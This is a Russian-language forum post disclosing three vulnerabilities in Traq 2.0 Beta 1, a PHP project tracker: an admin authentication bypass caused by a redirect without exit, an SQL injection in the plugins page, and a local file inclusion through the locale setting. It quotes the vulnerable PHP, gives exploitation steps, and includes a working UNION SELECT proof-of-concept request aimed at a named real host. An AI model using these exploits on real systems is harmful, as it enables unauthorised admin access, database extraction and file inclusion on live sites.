Старый 07.07.2010, 16:38   #1
Iceangel_
 
Аватар для Iceangel_
 
Регистрация: 01.07.2010
Сообщений: 45
Репутация: 25
По умолчанию Уязвимости Traq

Уязвимости Traq 2.0 Beta 1(возможно уязвимы и более ранние версии)
Traq is a PHP5 and MySQL based Project Tracking system with the ability to host multiple projects.

Default database prefix: traq_
Users table : {prefix}users(username: password: group_id)
Config: /inc/config.php
Admin-panel: /admincp/


1)Bypass
/admincp/index.php
PHP код:
 authenticate();

// Get the statistics...
$projects $db->numrows($db->query("SELECT id FROM ".DBPF."projects")); 
/admincp/common.php

PHP код:
 function authenticate()
{
    global 
$user;
    
    if(!
$user->group['is_admin'])
        
header("Location: login.php"); //die() и exit отсутствуют, бипасс налицо 
2)Sql-injection(требования:доступ в админ панель)
/admincp/plugins.php

PHP код:
 elseif(isset($_REQUEST['hooks']))
{
    
// Fetch Plugin info
    
$plugin $db->queryfirst("SELECT name FROM ".DBPF."plugins WHERE id='".$_REQUEST['plugin']."' LIMIT 1");  //везде стоит обработка переменной участвующей в запросе, в этом месте пропустили
    
    // Fetch Plugin hooks
    
$hooks = array();
    
$fetchhooks $db->query("SELECT id,title,hook,code FROM ".DBPF."plugin_code WHERE plugin_id='".$db->res($_REQUEST['plugin'])."' ORDER BY title ASC"); 
эксплуатация и PoC:
Код:
GET http://bugs.macpietsapps.net/admincp/plugins.php?hooks=1&plugin='+union+select+concat_ws(0x3a,version(),user(),database())--+ HTTP/1.0 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Connection: Close

3)LFI(требования:доступ в админ панель)

/inc/common.php

PHP код:
 function settings($setting)
{
    global 
$CACHE$db;
    
    
// Check if the setting has already been fetched
    // and return it if it has.
    
if(isset($CACHE['settings'][$setting])) return $CACHE['settings'][$setting];
    
    
// Looks like the setting isn't in the cache,
    // lets fetch it now...
    
$result $db->fetcharray($db->query("SELECT setting, value FROM ".DBPF."settings WHERE setting='".$db->res($setting)."' LIMIT 1"));
    
$CACHE['settings'][$setting] = $result['value'];
    
    (
$hook FishHook::hook('function_settings')) ? eval($hook) : false;
    
    return 
$CACHE['settings'][$setting];

/inc/global.php

PHP код:
 require('locale/'.settings('locale')); 
Эксплуатация:
Через /admincp/settings.php меняем Language(по дефолту enus.php) и сохраняем настройки.

Последний раз редактировалось (dm); 19.08.2010 в 02:31.. Причина: изменение заголовка
Iceangel_ вне форума   Ответить с цитированием
Ответ

Метки
auth bypass, lfi, sql-inj

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot